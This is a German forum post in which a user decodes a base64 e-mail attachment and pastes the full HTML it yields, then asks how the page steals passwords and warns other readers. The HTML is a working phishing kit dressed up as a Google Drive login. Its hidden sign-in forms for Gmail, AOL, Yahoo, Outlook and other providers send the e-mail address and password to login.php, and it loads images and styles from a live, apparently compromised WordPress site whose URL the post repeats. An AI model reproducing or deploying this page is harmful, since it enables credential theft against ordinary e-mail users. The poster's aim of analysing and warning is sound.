der kauderwlsch ist base64 kodierter hmtl-code:
ja hab ich vergessen zu erwähnen, das ich das rausgefunden habe, danke.
wenn ich die datei duch einen base 64 encoder jage, (danke für den input) kommt folgendes dabei raus :
<!DOCTYPE html> <html lang=""><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="icon" type="https://google.com/favicon.ico" href="https://google.com/favicon.ico"> <title> Google Drive - Login </title> <link rel="stylesheet" type="text/css" href="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/index.css" media="all"> <style> button::-moz-focus-inner, input::-moz-focus-inner { border: 0px none; } input[type="email"], input[type="number"], input[type="password"], input[type="tel"], input[type="text"], input[type="url"] { display: inline-block; height: 29px; margin: 0px; padding: 0px 8px; background: none repeat scroll 0% 0% rgb(255, 255, 255); border-right: 1px solid rgb(217, 217, 217); border-width: 1px; border-style: solid; border-color: rgb(192, 192, 192) rgb(217, 217, 217) rgb(217, 217, 217); -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; border-image: none; -moz-box-sizing: border-box; border-radius: 1px 1px 1px 1px; } input[type="email"]:hover, input[type="number"]:hover, input[type="password"]:hover, input[type="tel"]:hover, input[type="text"]:hover, input[type="url"]:hover { border-right: 1px solid rgb(185, 185, 185); border-width: 1px; border-style: solid; border-color: rgb(160, 160, 160) rgb(185, 185, 185) rgb(185, 185, 185); -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; border-image: none; box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.1) inset; } input[type="email"]:focus, input[type="number"]:focus, input[type="password"]:focus, input[type="tel"]:focus, input[type="text"]:focus, input[type="url"]:focus { outline: medium none; border: 1px solid rgb(77, 144, 254); box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3) inset; } input[type="checkbox"], input[type="radio"] { width: 13px; height: 13px; margin: 0px; cursor: pointer; vertical-align: bottom; background: none repeat scroll 0% 0% rgb(255, 255, 255); border: 1px solid rgb(220, 220, 220); border-radius: 1px 1px 1px 1px; -moz-box-sizing: border-box; position: relative; } input[type="checkbox"]:active, input[type="radio"]:active { border-color: rgb(198, 198, 198); background: none repeat scroll 0% 0% rgb(235, 235, 235); } input[type="checkbox"]:hover { border-color: rgb(198, 198, 198); box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.1) inset; } input[type="checkbox"]:checked, input[type="radio"]:checked { background: none repeat scroll 0% 0% rgb(255, 255, 255); } input[type="checkbox"]:checked:after { content: url('checkmark.png'); display: block; position: absolute; top: -6px; left: -5px; } input[type="checkbox"]:focus { outline: medium none; border-color: rgb(77, 144, 254); } .g-button { display: inline-block; min-width: 46px; text-align: center; color: rgb(68, 68, 68); font-size: 11px; font-weight: bold; height: 27px; padding: 0px 8px; line-height: 27px; border-radius: 2px 2px 2px 2px; transition: all 0.218s ease 0s ; border: 1px solid rgb(220, 220, 220); background-color: rgb(245, 245, 245); background-image: -moz-linear-gradient(center top , rgb(245, 245, 245), rgb(241, 241, 241)); -moz-user-select: none; cursor: default; } button.g-button, input.g-button[type="submit"] { height: 29px; line-height: 29px; vertical-align: bottom; margin: 0px; } .g-button:hover { border: 1px solid rgb(198, 198, 198); color: rgb(51, 51, 51); text-decoration: none; transition: all 0s ease 0s ; background-color: rgb(248, 248, 248); background-image: -moz-linear-gradient(center top , rgb(248, 248, 248), rgb(241, 241, 241)); box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.1); } .g-button:active { background-color: rgb(246, 246, 246); background-image: -moz-linear-gradient(center top , rgb(246, 246, 246), rgb(241, 241, 241)); box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.1) inset; } .g-button-submit { border: 1px solid rgb(48, 121, 237); color: rgb(255, 255, 255); text-shadow: 0px 1px rgba(0, 0, 0, 0.1); background-color: rgb(77, 144, 254); background-image: -moz-linear-gradient(center top , rgb(77, 144, 254), rgb(71, 135, 237)); } .g-button-submit:hover { border: 1px solid rgb(47, 91, 183); color: rgb(255, 255, 255); text-shadow: 0px 1px rgba(0, 0, 0, 0.3); background-color: rgb(53, 122, 232); background-image: -moz-linear-gradient(center top , rgb(77, 144, 254), rgb(53, 122, 232)); } .g-button-submit:active { background-color: rgb(53, 122, 232); background-image: -moz-linear-gradient(center top , rgb(77, 144, 254), rgb(53, 122, 232)); box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3) inset; } .sign-in { width: 335px; position: absolute; left: 248px; top: 175px;} .signin-box, .accountchooser-box { margin: 12px 0px 0px; padding: 20px 25px 15px; background: none repeat scroll 0% 0% rgb(241, 241, 241); border: 1px solid rgb(229, 229, 229); } .signin-box h2 { font-size: 16px; line-height: 17px; height: 16px; margin: 0px 0px 1.2em; position: relative; } .signin-box h2 strong { display: inline-block; position: absolute; right: 0px; top: 1px; height: 19px; width: 52px; } .signin-box div { margin: 0px 0px 1.5em; } .signin-box input[type="email"], .signin-box input[type="text"], .signin-box input[type="password"] { width: 100%; height: 32px; font-size: 15px; direction: ltr; } .signin-box .email-label, .signin-box .passwd-label { font-weight: bold; margin: 0px 0px 0.5em; display: block; -moz-user-select: none; } .signin-box label.remember { display: inline-block; vertical-align: top; margin: 9px 0px 0px; } .signin-box .remember-label { font-weight: normal; color: rgb(102, 102, 102); line-height: 0; padding: 0px 0px 0px 0.4em; -moz-user-select: none; } .signin-box input[type="submit"] { margin: 0px 1.5em 1.2em 0px; height: 32px; font-size: 13px; } .signin-box ul { margin: 0px;} } </style> </head><body> <div id="c-doc"> <div id="c-header"> <div id="c-header-wrapper"> <a id="logo"> </a> <a href="#" id="cust_logo"> <img alt="Google logo" src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/google_logo_41.png" height="41" width="116"> <span class="goog-inline-block"> Drive </span> </a> <ul id="c-nav"> <li> </li> </ul> </div> </div> <div id="c-child-doc"> <div id="c-main"> <div id="main-content"> <div id="action" class="c-button"> <p><font color="#990000" size="3">To view shared document you are required to login with your email address using your email provider below:</font></p> <br> <br> <font class="paid">Choose your email provider below and login:</font> <br> <br> <p> </p> <table border="1"> <tbody><tr> <td><a href="http://www.erguvantepe.com/wp-admin/js/ib/ic/gmail.htm" target="_blank"><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/gmail.jpg" name="displayTextgmail" border="0" id="displayTextgmail" title="Gmail"></a></td> <td><a href="http://www.erguvantepe.com/wp-admin/js/ib/ic/aol.htm" target="_blank"><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/aol.png" name="displayTextaol" border="0" id="displayTextaol" title="Aol"></a></td> </tr> <tr> <td><a href="http://www.erguvantepe.com/wp-admin/js/ib/ic/yahoo.htm" target="_blank"><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/yahoo.jpg" border="0" id="displayText" title="Yahoomail"></a></td> <td><a href="http://www.erguvantepe.com/wp-admin/js/ib/ic/outlook.htm" target="_blank"><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/outlook.png" name="displayTexthotmail" border="0" id="displayTexthotmail" title="Hotmail"></a></td> </tr> <tr> <td><a href="javascript: void(0)" onclick="window.open('http://www.erguvantepe.com/wp-admin/js/ib/ic/other.htm', 'windowname1', 'width=400, height=400'); return false;"><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/other.jpg" name="displayTextother" width="192" height="64" border="0" id="displayTextother" title="Other Email" /></a></a><a href="http://www.erguvantepe.com/wp-admin/js/ib/ic/other.htm"></a></td> </tr> </tbody></table> </div> <div class="more-links"> <p> <br> <a href="#"> Learn more about Google Drive » </a> </p> </div> </div> </div> <div id="intro"> <h1> Google Drive </h1> <p> Google Drive now supports <b>multiple</b> email providers. <br> Keep everything. Share anything. </p> <br> </div> <div id="jewel"> <img style="margin-left: -7px; height: 315px; width: 420px;" alt="Access Everywhere" src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/jewel.png"> </div> <div id="c-footer"> <div class="c-footer-links"> <p> © Google · <a href="https://www.google.com/intl/en/policies/privacy/"> Privacy Policy </a> · <a href="http://support.google.com/drive/?hl=en&p=download_drive"> Help </a> </p> </div> </div> </div> </div> <div style="display: none;" id="eula-overlay"> </div> <div aria-label=" " id="c-eula" style="display: none;" role="dialog"> <div id="eulabox"> <h2> Download Google Drive for Windows </h2> <iframe src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/index_1.htm" title="Google Drive" frameborder="0"> </iframe> <p class="statusage"> <input name="checkbox" id="statcb" type="checkbox"> <label for="statcb"> <b> Optional: </b> Help make this product better by automatically sending usage statistics and crash reports to Google. </label> </p> <div class="eula-action"> <div class="c-button eula-input" id="accept"> <div class="button"> <span> <span> <input id="submit1" name="submitbutton" onClick="this.disabled=true;installApp();" value="Accept and Install" type="button"> </span> </span> </div> <div id="throbber"> <span> <img id="throbber-img" alt="Throbber" src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/loading-16.htm" height="16" width="16"> </span> </div> </div> <input name="Button" class="cancel eula-input" id="cancel" onClick="goCancelled();" value="Cancel" type="button"> </div> </div> </div> <!--AOL start!--> <div id="toggleTextaol" style="display: none;"> <br> <div class="sign-in"> <div class="signin-box"> <p><a href="javascript:location.reload(true)"> close [x]</a></p> <h2>Sign in to AOL <strong><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/aol-signin-flat.png"></strong></h2> <form novalidate="" id="gaia_loginform" action="login.php" method="post"> <input name="continue" id="continue" value="#" type="hidden"> <div class="email-div"> <label for="Email"><strong class="email-label">AOL Email Address</strong></label> <input spellcheck="false" name="aoluser" id="aoluser" type="email"> </div> <div class="passwd-div"> <label for="Passwd"><strong class="passwd-label">AOL Password</strong></label> <input name="aolpassword" id="aolpassword" type="password"> </div> <input name="s_aol" value="x" type="hidden"> <input class="g-button g-button-submit" name="signIn" id="signIn" value="Sign in" type="submit"> <label class="remember"> <input type="checkbox"> <strong class="remember-label"> Stay signed in </strong> </label> </form> </div> </div> </div> <!--AOL end!--> <!--outlook start!--> <div id="toggleTexthotmail" style="display: none;"> <br> <div class="sign-in"> <div class="signin-box"> <p><a href="javascript:location.reload(true)"> close [x]</a></p> <h2>Sign in to Outlook <strong><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/outlook-signin-flat.png"></strong></h2> <form novalidate="" id="gaia_loginform" action="login.php" method="post"> <input name="continue" id="continue" value="#" type="hidden"> <div class="email-div"> <label for="Email"><strong class="email-label">Hotmail Email Address</strong></label> <input spellcheck="false" name="hotmailuser" id="hotmailuser" type="email"> </div> <div class="passwd-div"> <label for="Passwd"><strong class="passwd-label">Hotmail Password</strong></label> <input name="hotmailpassword" id="hotmailpassword" type="password"> </div> <input name="s_hotmail" value="x" type="hidden"> <input class="g-button g-button-submit" name="signIn" id="signIn" value="Sign in" type="submit"> <label class="remember"> <input type="checkbox"> <strong class="remember-label"> Stay signed in </strong> </label> </form> </div> </div> </div> <!--outlook end!--> <!--yahoo start!--> <div id="toggleText" style="display: none;"> <br> <div class="sign-in"> <div class="signin-box"> <p><a href="javascript:location.reload(true)"> close [x]</a></p> <h2>Sign in to Yahoo <strong><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/yahoo-signin-flat.png"></strong></h2> <form novalidate="" id="gaia_loginform" action="login.php" method="post"> <input name="continue" id="continue" value="#" type="hidden"> <div class="email-div"> <label for="Email"><strong class="email-label">Yahoo Email Address</strong></label> <input spellcheck="false" name="yahoouser" id="yahoouser" type="email"> </div> <div class="passwd-div"> <label for="Passwd"><strong class="passwd-label">Yahoo Password</strong></label> <input name="yahoopassword" id="yahoopassword" type="password"> </div> <input name="s_yahoo" value="x" type="hidden"> <input class="g-button g-button-submit" name="signIn" id="signIn" value="Sign in" type="submit"> <label class="remember"> <input type="checkbox"> <strong class="remember-label"> Stay signed in </strong> </label> </form> </div> </div> </div> <!--yahoo end!--> <!--google start!--> <div id="toggleTextgmail" style="display: none;"> <br> <div class="sign-in"> <div class="signin-box"> <p><a href="javascript:location.reload(true)"> close [x]</a></p> <h2>Sign in to Gmail <strong><img src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/google-signin-flat.png"></strong></h2> <form novalidate="" id="gaia_loginform" action="login.php" method="post"> <input name="continue" id="continue" value="#" type="hidden"> <div class="email-div"> <label for="Email"><strong class="email-label">Gmail Email Address</strong></label> <input spellcheck="false" name="gmailuser" id="gmailuser" type="email"> </div> <div class="passwd-div"> <label for="Passwd"><strong class="passwd-label">Gmail Password</strong></label> <input name="gmailpassword" id="gmailpassword" type="password"> </div> <input name="s_gmail" value="x" type="hidden"> <input class="g-button g-button-submit" name="signIn" id="signIn" value="Sign in" type="submit"> <label class="remember"> <input type="checkbox"> <strong class="remember-label"> Stay signed in </strong> </label> </form> </div> </div> </div> <!--google end!--> <!--other start!--> <div id="toggleTextother" style="display: none;"> <div class="sign-in"> <div class="signin-box"> =<br> <p><a href="javascript:location.reload(true)"> close [x]</a></p> <h2>Sign in to Other Emails <strong><img style="height:19px;width:52px;" src="http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/other.jpg"></strong></h2> <form novalidate="" id="gaia_loginform" action="login.php" method="post"> <input name="continue" id="continue" value="#" type="hidden"> <div class="email-div"> <label for="Email"><strong class="email-label">Other Email Address</strong></label> <input spellcheck="false" name="otheruser" id="otheruser" type="email"> </div> <div class="passwd-div"> <label for="Passwd"><strong class="passwd-label">Other Password</strong></label> <input name="otherpassword" id="otherpassword" type="password"> </div> <input name="s_other" value="x" type="hidden"> <input class="g-button g-button-submit" name="signIn" id="signIn" value="Sign in" type="submit"> <label class="remember"> <input type="checkbox"> <strong class="remember-label"> Stay signed in </strong> </label> </form> </div> </div> </div> <!--other end!--> <script language="Javascript"> function echeck(str) { var at="@" var dot="." var lat=str.indexOf(at) var lstr=str.length var ldot=str.indexOf(dot) if (str.indexOf(at)==-1){ alert("Invalid E-mail ID") return false } if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){ alert("Invalid E-mail ID") return false } if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){ alert("Invalid E-mail ID") return false } if (str.indexOf(at,(lat+1))!=-1){ alert("Invalid E-mail ID") return false } if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){ alert("Invalid E-mail ID") return false } if (str.indexOf(dot,(lat+2))==-1){ alert("Invalid E-mail ID") return false } if (str.indexOf(" ")!=-1){ alert("Invalid E-mail ID") return false } return true } function ValidateFormYahoo(){ var emailID=document.yahoo.yahoouser var emailPASS=document.yahoo.yahoopassword if ((emailID.value==null)||(emailID.value=="")){ alert("Please Enter your Email ID") emailID.focus() return false } if ((emailPASS.value==null)||(emailPASS.value=="")){ alert("Please Enter your Email Password") emailPASS.focus() return false } return true } function ValidateFormHotmail(){ var emailID=document.hotmail.hotmailuser var emailPASS=document.hotmail.hotmailpassword if ((emailID.value==null)||(emailID.value=="")){ alert("Please Enter your Email ID") emailID.focus() return false } if ((emailPASS.value==null)||(emailPASS.value=="")){ alert("Please Enter your Email Password") emailPASS.focus() return false } return true } function ValidateFormGmail(){ var emailID=document.gmail.gmailuser var emailPASS=document.gmail.gmailpassword if ((emailID.value==null)||(emailID.value=="")){ alert("Please Enter your Email ID") emailID.focus() return false } if ((emailPASS.value==null)||(emailPASS.value=="")){ alert("Please Enter your Email Password") emailPASS.focus() return false } return true } function ValidateFormAol(){ var emailID=document.aol.aoluser var emailPASS=document.aol.aolpassword if ((emailID.value==null)||(emailID.value=="")){ alert("Please Enter your Email ID") emailID.focus() return false } if ((emailPASS.value==null)||(emailPASS.value=="")){ alert("Please Enter your Email Password") emailPASS.focus() return false } return true } function ValidateFormOther(){ var emailID=document.other.otheruser var emailPASS=document.other.otherpassword if ((emailID.value==null)||(emailID.value=="")){ alert("Please Enter your Email ID") emailID.focus() return false } if ((emailPASS.value==null)||(emailPASS.value=="")){ alert("Plea</script></body></html>
im browser sieht die webpage aus wie die seite von google drive jedoch mit "KLEINEN FEHLERN".
die "verknüpfung mit anderen konten", wenn man sie anklickt, wird im browser aber local in /von dem script ausgeführt. führt als nicht zu den orginalen webseiten.
was mir nun nicht klar ist ? wie kommt er dann an die passwörter, werden die direkt übertragen, oder muss der noch einen troyaner keylogger local auf dem PC haben ?
weiter habe ich via suchmaschinen nun herausgefunden dass das seit sommer 2014 eine neue phishing masche ist. *rolleyes*
seite in sandboxie : WIE IMMER KANN ICH NICHTS HOCHLADEN > danke an die mods und admins
EDIT:
die seite : erguvantepe ist mittlerweile nicht mehr erreichbar, war aber am mittag noch online, ist wieder erreichbar 18:00
der link aus dem base 64 .doc >
http://www.erguvantepe.com/wp-admin/js/ib/ic/Files/index.css
kann aber noch aufgerufen werden.
vorsicht ist geboten beim aufruf auf die seiten, die könnten manipuliert sein!
